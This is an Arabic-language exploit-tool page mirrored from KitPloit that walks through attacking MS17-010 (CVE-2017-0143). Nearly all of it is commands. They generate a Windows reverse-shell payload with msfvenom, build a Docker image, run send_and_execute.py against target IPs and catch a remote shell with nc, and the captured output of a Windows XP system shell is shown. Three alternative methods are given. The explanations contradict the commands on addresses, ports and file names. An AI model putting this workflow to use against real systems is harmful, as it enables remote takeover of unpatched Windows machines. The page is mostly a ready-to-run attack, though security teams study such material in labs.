## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H3X0V3RL0RD-MS17-010_CVE-2017-0143
# MS17-010
🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143
## Docker
استخدام `msfvenom` لإنشاء حمولة:
root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe
* `-p windows/shell_reverse_tcp`: يحدد الحمولة (صدفة TCP عكسية لنظام ويندوز).
* `LHOST=10.10.14.4`: عنوان IP للمهاجم (حيث سيتصل الهدف مرة أخرى).
* `LPORT=443`: المنفذ على جهاز المهاجم للاستماع للاتصال.
* `-f exe`: يخرج الحمولة كملف تنفيذي.
* `-a x86`: يحدد البنية (32 بت).
* `-o rev.exe`: يحفظ الحمولة كـ `rev.exe`.
إعداد حاوية دوكر:
* **لماذا استخدام دوكر؟**
* يوفر دوكر بيئة متسقة ومعزولة لتشغيل الاستغلال.
* يتجنب مشاكل الاعتماد (مثل تعارضات إصدار بايثون، المكتبات المفقودة).
خطوات إعداد دوكر:
root@kitploit:~
sudo apt-get install docker.io
إنشاء هيكل المجلد:
root@kitploit:~
mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt
* `Dockerfile`: يحتوي على تعليمات لبناء حاوية دوكر.
* `requirements.txt`: يسرد تبعيات بايثون (مثل `impacket`).
اكتب ملف Dockerfile:
root@kitploit:~
FROM python:2.7-alpine
RUN apk --update --no-cache add \
git \
zlib-dev \
musl-dev \
libc-dev \
gcc \
libffi-dev \
openssl-dev && \
rm -rf /var/cache/apk/*
RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt
* `FROM python:2.7-alpine`: يستخدم صورة خفيفة من Alpine Linux مع بايثون 2.7.
* `RUN apk --update --no-cache add`: يقوم بتثبيت التبعيات الضرورية (مثل `git`, `gcc`).
* `COPY rev.exe /opt/cattime`: ينسخ الملف التنفيذي للصدفة العكسية (`rev.exe`) إلى داخل الحاوية.
* `RUN pip install -r requirements.txt`: يقوم بتثبيت تبعيات بايثون (مثل `impacket`).
بناء حاوية دوكر:
root@kitploit:~
sudo docker build -t exploit .
تشغيل الحاوية:
root@kitploit:~
sudo docker run -it exploit /bin/sh
تحميل وتشغيل الاستغلال:
root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
root@kitploit:~
cd MS17-010_CVE-2017-0143
root@kitploit:~
python send_and_execute.py 10.10.10.4 ../ms17-010.exe
الصدفة العكسية:
root@kitploit:~
nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
* * *
# الطرق القديمة
## الطريقة 1
root@kitploit:~
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe
إنشاء مستمع `nc`:
root@kitploit:~
nc -nlvp 1337
### استغلال
root@kitploit:~
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

في حال حصول خطأ مثل هذا، اتبع هذه الخطوات:
root@kitploit:~
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket
الآن يمكننا تشغيل الاستغلال: 

## الطريقة 2
الآن هذا الاستغلال تم إنشاؤه في بايثون 2 ويتطلب بعض المكتبات مثل impacket و pycrypto. لذلك يجب إعداد بيئة افتراضية وهنا يساعد برنامج virtualenv. بمجرد إنشاء البيئة، يمكنك تنشيطها باستخدام برنامج source. هنا يتم استخدام بايثون 2 كمفسر لأنه في أحدث إصدار من Kali يتم تعيين بايثون 3 كمفسر عام واستغلالنا مكتوب ببايثون 2.
لماذا نستخدم البيئة الافتراضية؟ لهذا يمكنك الاطلاع على هذا: https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/
root@kitploit:~
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto


root@kitploit:~
python checker.py 10.10.10.4

root@kitploit:~
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

root@kitploit:~
python send_and_execute.py 10.10.10.4 shell.exe 445 browser

root@kitploit:~
nc -nlvp 4445
